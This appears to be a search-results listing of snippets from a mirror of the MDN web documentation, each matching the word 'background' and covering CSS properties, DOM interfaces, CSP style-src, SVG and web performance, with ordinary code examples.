HTMLBodyElement - Web APIs
htmlbodyelement.
background is a domstring that represents the description of the location of the
background image resource.
... htmlbodyelement.bgcolor is a domstring that represents the
background color for the document.
... recommendation the following properties are now obsolete: alink, bgcolor,
background, link, text, and vlink.
HTMLTableElement.bgColor - Web APIs
the htmltableelement.bgcolor property represents the
background color of the table.
...the css
background-color property should be used instead by modifying the element's style object or using a style rule.
... example // set table
background colour to lightblue var t = document.getelementbyid('tablea'); t.bgcolor = 'lightblue'; specification dom level 2 html:htmltableelement .bgcolor ...
IdleDeadline - Web APIs
to learn more about how request callbacks work, see collaborative scheduling of
background tasks.
... example see our complete example in the article cooperative scheduling of
background tasks api.
... specifications specification status comment cooperative scheduling of
background tasks proposed recommendation ...
MediaStreamTrack: mute event - Web APIs
musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its
background color changed to #aaa.
... when the track exits the muted state—detected by the arrival of an unmute event—the
background color is restored to white.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
MediaStreamTrack: unmute event - Web APIs
musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its
background color changed to #aaa.
... when the track exits the muted state—detected by the arrival of an unmuted event—the
background color is restored to white.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
ServiceWorkerRegistration - Web APIs
serviceworkerregistration.sync read only returns a reference to the syncmanager interface, which manages
background synchronization processes.
... unimplemented properties serviceworkerregistration.periodicsync read only returns a reference to the periodicsyncmanager interface, which manages periodic
background synchronization processes.
... web
background synchronization living standard adds the sync property.
Fundamentals of WebXR - Web APIs
virtual reality in a vr environment, the entire image is digitally created by your app or site, from foreground objects all the way to the
background or skybox.
...these devices include phones, which show the resulting scene on the device's screen in a 2d presentation, as well as goggles that use a pair of cameras, one for each eye, to capture the scene in stereo in order to retain the world's depth, with the webxr scene then rendered for each eye with that eye's captured
background in place.
...webxr doesn't generally care which type of device you're using, and the rendering process is almost exactly the same as for vr, except you don't erase the
background or skybox before rendering each frame.
window.requestIdleCallback() - Web APIs
this enables developers to perform
background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... example see our complete example in the article cooperative scheduling of
background tasks api.
... specifications specification status comment cooperative scheduling of
background tasks proposed recommendation initial definition.
Accessibility and Spacial Patterns - Accessibility
symbols which have the same luminance as their
background are perceptually less securely located in space and time than are symbols with higher luminance contrast.
...the phenomenon seems to be especially problematic for symbol/
background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation.
... for example, blue text on a gray
background is easier to perceive if it is surrounded "locally" by black than by white.
:-moz-window-inactive - CSS: Cascading Style Sheets
note: prior to the addition of this pseudo-class, giving different styles to
background windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
... syntax :-moz-window-inactive examples this example alters the appearance of a box's
background depending on whether its window is active or not.
... html <div id="mybox"> <p>this is a box!</p> </div> css #mybox {
background: linear-gradient(to bottom, yellow, cyan); width: 200px; height: 200px; } #mybox:-moz-window-inactive {
background: cyan; } result the result of this code is shown below.
::cue - CSS: Cascading Style Sheets
the only exception is that
background and its longhand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue | ::cue( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties:
background background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space examples styling webvtt cues as white-on-black the following css sets the cue style so that the text is white and the
background is a tran...
... ::cue { color: #fff;
background-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web video text tracks formatthe definition of '::cue' in that specification.
:fullscreen - CSS: Cascading Style Sheets
the first establishes the
background color of the "toggle full-screen mode" button when the element is not in a full-screen state.
... #fs-toggle:not(:fullscreen) {
background-color: #afa; } when the document is in full-screen mode, the following css applies instead, setting the
background color to a pale shade of red.
... #fs-toggle:fullscreen {
background-color: #faa; } specifications specification status comment fullscreen apithe definition of ':fullscreen' in that specification.
:read-only - CSS: Cascading Style Sheets
input:read-only, textarea:read-only {
background-color: #ccc; } p:read-only {
background-color: #ccc; } syntax :read-only examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none;
background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-only non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that cannot be edited by the user.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only {
background-color: red; color: white; } p:read-write {
background-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
:read-write - CSS: Cascading Style Sheets
input:read-write, textarea:read-write {
background-color: #bbf; } p:read-write {
background-color: #bbf; } syntax :read-write examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none;
background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> elem...
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only {
background-color: red; color: white; } p:read-write {
background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
:target - CSS: Cascading Style Sheets
isn't that delightful?</p> css p:target {
background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
...c gravida magna.</figcaption> </figure> </div> css /* unopened lightbox */ .lightbox { display: none; } /* opened lightbox */ .lightbox:target { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; } /* lightbox content */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em;
background-color: lightpink; } /* close button */ .lightbox .close { position: relative; display: block; } .lightbox .close::after { right: -1rem; top: -1rem; width: 2rem; height: 2rem; position: absolute; display: flex; z-index: 1; align-items: center; justify-content: center;
background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* ...
...lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed;
background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html living standardthe definition of ':target' in that specification.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
you can see that as i have used a direct child selector to add the
background and borders to the flex items, this has not been applied to our nested children.
... also, having removed the box you cannot then use it to — for example — add a
background colour behind the nested sub children.
... if you remove display: contents in this live example you will see that the direct child we are removing has an orange
background colour.
Stacking without the z-index property - CSS: Cascading Style Sheets
when the z-index property is not specified on any element, elements are stacked in the following order (from bottom to top): the
background and borders of the root element descendant non-positioned blocks, in order of appearance in the html descendant positioned elements, in order of appearance in the html keep in mind, when the order property alters rendering from the "order of appearance in the html" within flex containers, it similarly affects the order for stacking context.
...div> <div id="rel2" class="relative"> <b>div #3</b><br />position: relative;</div> <div id="abs2" class="absolute"> <b>div #4</b><br />position: absolute;</div> <div id="sta1" class="static"> <b>div #5</b><br />position: static;</div> css b { font-family: sans-serif; } div { padding: 10px; border: 1px dashed; text-align: center; } .static { position: static; height: 80px;
background-color: #ffc; border-color: #996; } .absolute { position: absolute; width: 150px; height: 350px;
background-color: #fdd; border-color: #900; opacity: 0.7; } .relative { position: relative; height: 80px;
background-color: #cfc; border-color: #696; opacity: 0.7; } #abs1 { top: 10px; left: 10px; } #rel1 { top: 30px; margin: 0px 50px 0px 50px; } #rel2 { top: 15px...
...; left: 20px; margin: 0px 50px 0px 50px; } #abs2 { top: 10px; right: 10px; } #sta1 {
background-color: #ffc; margin: 0px 50px 0px 50px; } ...
Shapes From Images - CSS: Cascading Style Sheets
in the example below i am using a similar image to the initial example, however in this image the
background of the star is not fully transparent, it has a 20% opacity as created in my graphics programme.
... in this next example i have used generated content and floated this content, giving it a
background image of a linear gradient.
... you could also try removing the
background image completely, thus using the gradient purely to create the shape and not displaying it on the page at all.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
lack; -moz-appearance: caret; -webkit-appearance: caret; } <div>lorem</div> firefox chrome safari edge checkbox-container div { color: black; -moz-appearance: checkbox-container; -webkit-appearance: checkbox-container; } <div>lorem</div> firefox the element is drawn like a container for a checkbox, which may include a prelighting
background effect under certain platforms.
... <div>lorem</div> safari media-volume-slider div{ color: black; -webkit-appearance: media-volume-slider; } <div>lorem</div> chrome safari media-volume-sliderthumb div{ color: black; -webkit-appearance: media-volume-slider-thumb; } <div>lorem</div> chrome safari media-controls-
background div{ color: black; -webkit-appearance: media-controls-
background; } <div>lorem</div> chrome safari media-controls-dark-bar-
background div{ color: black; -moz-appearance: media-controls-dark-bar-
background; -webkit-appearance: media-controls-dark-bar-
background; } <div>lorem</div> safari media-controls-full...
...screen-
background div{ color: black; -webkit-appearance: media-controls-fullscreen-
background; } <div>lorem</div> chrome safari media-controls-light-bar-
background div{ color: black; -moz-appearance: media-controls-light-bar-
background; -webkit-appearance: media-controls-light-bar-
background; } <div>lorem</div> safari media-current-time-display div{ color: black; -webkit-appearance: media-current-time-display; } <div>lorem</div> chrome safari media-time-remaining-display div{ color: black; -webkit-appearance: media-time-remaining-display; } <div>lorem</div> chrome safari menulist-text div { color: black; ...
backdrop-filter - CSS: Cascading Style Sheets
because it applies to everything behind the element, to see the effect you must make the element or its
background at least partially transparent.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples css .box {
background-color: rgba(255, 255, 255, 0.3); border-radius: 5px; font-family: sans-serif; text-align: center; line-height: 1; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body {
background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 1...
...66, 166), rgb(0, 0, 172));
background-position: center center;
background-repeat: no-repeat;
background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
border-image-slice - CSS: Cascading Style Sheets
it is discarded by default, but is used like a
background image if the keyword fill is set.
... fill preserves the middle image region and displays it like a
background image, but stacked above the actual
background.
...nput', () => { const newvalue = widthslider.value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-slice' in that specification.
border-image - CSS: Cascading Style Sheets
to center the border image on the edge of the element's
background, we will make the outset values equal to half of the width values.
... #bitmap { width: 200px;
background-color: #ffa; border: 36px solid orange; margin: 30px; padding: 10px; border-image: url("https://udn.realityripple.com/samples/2c/fa0192d18e.png") /* source */ 27 / /* slice */ 36px 28px 18px 8px / /* width */ 18px 14px 9px 4px /* outset */ round; /* repeat */ } result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; border: 30px solid; border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60; padding: 20px; } result specifications specification ...
... status comment css
backgrounds and borders module level 3the definition of 'border-image' in that specification.
border-radius - CSS: Cascading Style Sheets
the radius applies to the whole
background, even if the element has no border; the exact position of the clipping is defined by the
background-clip property.
...ottom-right-radius: a length, percentage or calc();border-bottom-left-radius: a length, percentage or calc(); formal syntax <length-percentage>{1,4} [ / <length-percentage>{1,4} ]?where <length-percentage> = <length> | <percentage> examples border: solid 10px; /* the border will curve into a 'd' */ border-radius: 10px 40px 40px 10px; border: groove 1em red; border-radius: 2em;
background: gold; border: ridge gold; border-radius: 13em/3em; border: none; border-radius: 40px 10px; border: none; border-radius: 50%; border: dotted; border-width: 10px 4px; border-radius: 10px 40px; border: dashed; border-width: 2px 4px; border-radius: 40px; live samples sample 1 : http://jsfiddle.net/tripad/qngkj/2/ sample 2 : http://jsfiddle.net/tripad/qngkj/3/ s...
...ample 3 : http://jsfiddle.net/tripad/qngkj/4/ sample 4 : http://jsfiddle.net/tripad/qngkj/5/ sample 5 : http://jsfiddle.net/tripad/qngkj/6/ specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-radius' in that specification.
clear - CSS: Cascading Style Sheets
suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="left">this paragraph clears left.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .left { border: 1px solid black; clear: left; } .black { float: left; margin: 0;
background-color: black; color: #fff; width: 20%; } .red { float: left; margin: 0;
background-color: pink; width:20%; } p { width: 50%; } clear: right html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="right">this paragraph clears right.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .right { border: 1px solid black; clear: right; } .black { float: right; margin: 0;
background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0;
background-color: pink; width:20%; } p { width: 50%; } clear: both html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="both">this paragraph clears both.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .both { border: 1px solid black; clear: both; } .black { float: left; margin: 0;
background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0;
background-color: pink; width:20%; } p { width: 45%; } specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
cross-fade() - CSS: Cascading Style Sheets
accessibility concerns browsers do not provide any special information on
background images to assistive technology.
...when using
background images, make sure the contrast in color is great enough that any text is legible over the image as well as if the images is missing.
...age> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples older syntax for cross-fade html <div class="crossfade"></div> css .crossfade { width: 300px; height: 300px;
background-image: -webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%);
background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification sta...
empty-cells - CSS: Cascading Style Sheets
the empty-cells css property sets whether borders and
backgrounds appear around <table> cells that have no visible content.
... values show borders and
backgrounds are drawn like in normal cells.
... hide no borders or
backgrounds are drawn.
font-smooth - CSS: Cascading Style Sheets
switching from subpixel rendering to antialiasing for light text on dark
backgrounds makes it look lighter.
...switching from subpixel rendering to antialiasing for light text on dark
backgrounds makes it look lighter.
... for those of you not on a macos system, here is a screenshot (the live version appears later on): html <p>without font smoothing</p> <p class="smoothed">with font smoothing</p> css html {
background-color: black; color: white; font-size: 3rem; } p { text-align: center; } .smoothed { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } result specifications not part of any standard.
linear-gradient() - CSS: Cascading Style Sheets
for this reason, linear-gradient() won't work on
background-color and other properties that use the <color> data type.
... examples gradient at a 45-degree angle body { width: 100vw; height: 100vh; } body {
background: linear-gradient(45deg, red, blue); } gradient that starts at 60% of the gradient line body { width: 100vw; height: 100vh; } body {
background: linear-gradient(135deg, orange 60%, cyan); } gradient with multi-position color stops this example uses multi-position color stops, with adjacent colors having the same color stop value, creating a striped effect.
... body { width: 100vw; height: 100vh; } body {
background: linear-gradient(to right, red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%); } more linear-gradient examples please see using css gradients for more examples.
outline-color - CSS: Cascading Style Sheets
invert to ensure the outline is visible, performs a color inversion of the
background.
...if the color of the outline is adjusted, it is important to ensure that the contrast ratio between it and the
background the outline is placed over is high enough that people experiencing low vision conditions will be able to perceive it.
... color contrast ratio is determined by comparing the luminosity of the text and
background color values.
radial-gradient() - CSS: Cascading Style Sheets
syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green */ radial-gradient(circle at center, red 0, blue, green 100%) values <position> the position of the gradient, interpreted in the same way as
background-position or transform-origin.
...for this reason, radial-gradient() won't work on
background-color and other properties that use the <color> data type.
... examples simple gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient {
background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); } non-centered gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient {
background-image: radial-gradient(farthest-corner at 40px 40px, #f35 0%, #43e 100%); } more radial-gradient examples please see using css gradients for more examples.
repeating-radial-gradient() - CSS: Cascading Style Sheets
for this reason, repeating-radial-gradient() won't work on
background-color and other properties that use the <color> data type.
...tical gradient near the top left of its container, starting red, changing to green and back again, repeating five times between the center and the bottom right corner, and only once between the center and the top left corner */ repeating-radial-gradient(farthest-corner at 20% 20%, red 0, green, red 20%); values <position> the position of the gradient, interpreted in the same way as
background-position or transform-origin.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples black and white gradient <div class="radial-gradient"></div> .radial-gradient { width: 120px; height: 120px; } .radial-gradient {
background: repeating-radial-gradient(black, black 5px, white 5px, white 10px); } farthest-corner <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient {
background: repeating-radial-gradient(ellipse farthest-corner at 20% 20%, red, black 5%, blue 5%, green 10%);
background: repeating-radial-gradient(ellipse farthest-corner at 20% 20%,...
matrix3d() - CSS: Cascading Style Sheets
: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front {
background: rgba(90,90,90,.7); transform: translatez(50px); } .back {
background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(210,210,0,.7); transform: rotatex(90deg) ...
...translatez(50px); } .bottom {
background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } result matrix translation and scale example another transform3d() example, which implements an animated combined translate and scale.
...</div> css html { width: 100%; } body { height: 100vh; /* centering content */ display: flex; flex-flow: row wrap; justify-content: center; align-content: center; } .foo { width: 50%; padding: 1em; color: white;
background: #ff8c66; border: 2px dashed black; text-align: center; font-family: system-ui, sans-serif; font-size: 14px; /* setting up animation for better demonstration */ animation: motionscale 2s alternate linear infinite; } @keyframes motionscale { from { /* identity matrix is used as basis here.
<table>: The Table element - HTML: Hypertext Markup Language
bgcolor the
background color of the table.
... to achieve a similar effect, use the css
background-color property.
...> <tr> <th>countries</th> <th>capitals</th> <th>population</th> <th>language</th> </tr> <tr> <td>usa</td> <td>washington, d.c.</td> <td>309 million</td> <td>english</td> </tr> <tr> <td>sweden</td> <td>stockholm</td> <td>9 million</td> <td>swedish</td> </tr> </table> <p>table with colgroup and col</p> <table> <colgroup> <col style="
background-color: #0f0"> <col span="2"> </colgroup> <tr> <th>lime</th> <th>lemon</th> <th>orange</th> </tr> <tr> <td>green</td> <td>yellow</td> <td>orange</td> </tr> </table> <p>simple table with caption</p> <table> <caption>awesome caption</caption> <tr> <td>awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } table, ...
CSP: style-src - HTTP
examples violation cases given this csp header: content-security-policy: style-src https://example.com/ the following stylesheets are blocked and won't load: <link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> <style> #inline-style {
background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the link header: link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet inline style attributes are also blocked: <div style="display:none">foo</div> as well as styles that are applied in javascript by setting the style attribute directly, or by se...
... content-security-policy: style-src 'unsafe-inline'; the above content security policy will allow inline styles like the <style> element, and the style attribute on any element: <style> #inline-style {
background: red; } </style> <div style="display:none">foo</div> you can use a nonce-source to only allow specific inline style blocks: content-security-policy: style-src 'nonce-2726c7f26c' you will have to set the same nonce on the <style> element: <style nonce="2726c7f26c"> #inline-style {
background: red; } </style> alternatively, you can create hashes from your inline styles.
... <style>#inline-style {
background: red; }</style> unsafe style expressions the 'unsafe-eval' source expression controls several style methods that create style declarations from strings.
Autoplay guide for media and Web Audio APIs - Web media technologies
that could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a
background tab.
... media.autoplay.allow-extension-
background-pages this boolean preference, if true, allows browser extensions'
background scripts to autoplay audio media.
... media.block-autoplay-until-in-foreground a boolean preference which indicates whether or not media playback is blocked when started on a
background tab.
Web audio codec guide - Web media technologies
noise / hiss unwanted
background noise or hiss tends to reduce audio quality both directly (by masking details of the foreground audio) and indirectly (by making the audio waveform more complicated and therefore difficult to reduce in size while maintaining precision).
... hiss, static, or
background noise increases the audio complexity, which generally reduces the amount of compression which is possible.
...this can be particularly important for classical music, theatrical soundtracks, and for
background music during gameplay.
Performance fundamentals - Web Performance
when applications are sent to the
background, a visibilitychange event is fired on their documents.
...applications that drop as many loaded resources as possible when sent to the
background use less memory and are less likely discarded, in the case of firefox os (see the note below).
...another benefit to this api is that animations won't run while your app isn't visible on the screen (such as if it's in the
background and some other task is operating).
Optimizing startup performance - Web Performance
instead, you should write your code so that your app creates a web worker that does as much as possible in a
background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up.
...all pure startup calculations should be performed in
background threads, while you keep the run-time of main thread events as short as possible.
...for games, consider having
background music playing or a nice splash screen displayed.
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like this: <p class="target" style="
background:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... <p class="target" style="
background:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... <p class="target" style="
background: lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation.
... value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
SVG as an Image - SVG: Scalable Vector Graphics
many browsers support svg images in: html <img> or <svg> elements css
background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
... css
backgrounds and borders module level 3the definition of 'svg within '
background-image' css property' in that specification.
... candidate recommendation defines the usage of svg within the
background-image property.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
overview this article and its associated example shows how to use inline svg to provide a
background picture for a form.
...(another style rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive
background the approach is backwards compatible to browsers that do not support svg; simply, no
background appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based to ad...
... the style attribute pins the svg element to the
background of the form.
Using templates and slots - Web Components
so for example: <template id="my-paragraph"> <style> p { color: white;
background-color: #666; padding: 5px; } </style> <p>my paragraph</p> </template> now we can use it by just adding it to our html document: <my-paragraph></my-paragraph> note: templates are well-supported in browsers; the shadow dom api is supported by default in firefox (version 63 onwards), chrome, opera, safari, and edge (starting with version 79).
...template with some slots first of all, we use the <slot> element within a <template> element to create a new "element-details-template" document fragment containing some named slots: <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span {
background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot ...
...color: #217ac0; font-size: 110% } dt { font-family: consolas, "liberation mono", courier } dd { margin-left: 16px } </style> </head> <body> <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span {
background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name"><<slot name="element-name">need name</slot>></...
2015 MDN Fellowship Program - Archive of obsolete content
they enable the creation of effective offline experiences and wiill also allow access to push notifications and
background sync apis.
...you may propose your own subject area (examples: virtual reality on the web, network security, css, etc.) or we will work with you to match you to the best subject based on your
background and mozilla priorities.
io/text-streams - Archive of obsolete content
writeasync(str, callback) writes a string on a
background thread.
... after the write completes, the backing stream's buffer is flushed, and both the stream and the backing stream are closed, also on the
background thread.
Forms related code snippets - Archive of obsolete content
document.attachevent("onmousedown", ondocclick) : (document.onmousedown = ondocclick); })(); </script> <style type="text/css"> table.zdp-calendar { border: 1px solid #666666; border-collapse: collapse;
background-color: #cccccc; cursor: default; font-family: verdana; font-size: 12px; } table.zdp-calendar th { border: 1px solid #666666; font-weight: bold;
background-color: #ff6666; } table.zdp-calendar td { border: 1px solid #666666; text-align: center; } table.zdp-calendar caption {
background-color: #333333; padding: 2px; } span.zdp-current-month { display: inline-block; width...
...: auto; height: 16px; padding: 0 2px; line-height: 16px; margin: 0 auto;
background-color: #999999; border-radius: 5px; } span.zdp-increase-month, span.zdp-increase-year, span.zdp-decrease-month, span.zdp-decrease-year { display: block; padding: 0 2px; height: 16px; font-weight: bold;
background-color: #999999; border-radius: 5px; cursor: pointer; } span.zdp-decrease-month, span.zdp-decrease-year { float: left; margin-right: 2px; } span.zdp-increase-month, span.zdp-increase-year { float: right; margin-left: 2px; } td.zdp-active-cell { padding: 1px 3px; cursor: pointer; color: #000000; text-align: center; vertical-align: middle; } td.zdp-active-cell:hover {
background-color: #999999; cursor: pointer; } td.zdp-empty-cell { cursor: not-allowed; } ...
Adding sidebars - Archive of obsolete content
one common use for a stack is to have an image
background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here.
... --> </hbox> </stack> this workaround is necessary because you can't have an
background image stretch using css.
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the breakdown: 1 master screen media file which imports 4 files: a base file (bulk of formatting) a file for finance/table formatting color file (override colors and
